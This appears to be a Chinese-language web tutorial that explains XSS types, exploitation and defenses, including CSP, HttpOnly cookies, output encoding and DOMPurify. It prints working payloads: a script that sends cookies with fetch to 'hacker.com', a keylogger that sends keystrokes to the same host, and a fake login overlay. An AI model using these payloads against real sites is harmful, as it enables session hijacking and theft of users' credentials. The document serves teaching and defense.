1. 什么是XSS攻击?
XSS(跨站脚本攻击,Cross-Site Scripting) 是一种通过向网页注入恶意脚本,在用户浏览器端执行的攻击方式。攻击者可窃取Cookie、篡改页面内容,甚至发起进一步攻击。
危害等级:🔥🔥🔥🔥(高危)
常见场景:社交平台、评论区、用户资料页等用户输入区域
2. XSS攻击类型
(1) 存储型XSS(持久化)
-
攻击方式:恶意脚本被存入数据库,所有访问页面的用户都会执行
-
示例:
<script>alert('XSS')</script> <!-- 基础弹窗 -->
<img src="x" onerror="stealCookie()"> <!-- 图片加载失败时执行JS -->
利用场景:论坛发帖、用户昵称设置
(2) 反射型XSS(非持久化)
-
攻击方式:恶意脚本通过URL参数传递,仅对点击特定链接的用户生效
-
示例:
http://example.com/search?q=<script>alert(1)</script>
利用场景:搜索框、错误页面
(3) DOM型XSS(纯前端攻击)
-
攻击方式:通过修改DOM元素触发,不依赖服务端
-
示例:
// 漏洞代码
document.getElementById('output').innerHTML = userInput;
// 攻击输入
<img src=x onerror="alert('XSS')">
利用场景:单页应用(SPA)、动态内容渲染
3. 高级XSS利用技术
(1) Cookie窃取
<script>
fetch('https://hacker.com/steal?cookie=' + document.cookie)
</script>
防御方法:使用HttpOnly
标记Cookie,阻止JS访问
(2) 键盘记录
document.onkeypress = function(e) {
fetch('https://hacker.com/log?key=' + e.key)
}
防御方法:CSP限制外部请求
(3) 钓鱼伪造
<div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
<h1>请重新登录</h1>
<input id="pwd" type="password">
<button onclick="sendPassword()">提交</button>
</div>
防御方法:输入框禁用HTML渲染
4. 自动化工具检测
-
Burp Suite:拦截修改请求测试XSS
-
XSStrike:智能检测过滤绕过
-
python3 xsstrike.py -u "http://example.com/search?q=test"
- BeEF:浏览器漏洞利用框架
5. XSS防御方案
防御措施 | 具体方法 | 有效性 |
---|---|---|
输入过滤 | 转义< > & ' " 等字符 |
⭐⭐⭐ |
输出编码 | 根据上下文使用HTML/JS/URL编码 | ⭐⭐⭐⭐ |
CSP策略 | Content-Security-Policy: default-src 'self' |
⭐⭐⭐⭐⭐ |
HttpOnly Cookie | 服务端设置Set-Cookie: session=123; HttpOnly |
⭐⭐⭐⭐ |
前端框架防护 | React/Vue自动转义,慎用dangerouslySetInnerHTML |
⭐⭐⭐⭐ |
6. 实战案例
案例:某博客平台未过滤评论,导致存储型XSS传播恶意脚本
攻击链:
-
攻击者提交含恶意JS的评论
-
所有访问者执行脚本,Cookie被窃取
-
攻击者接管用户会话
修复方案:
-
后端使用
DOMPurify
库净化HTML -
前端采用
textContent
替代innerHTML
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容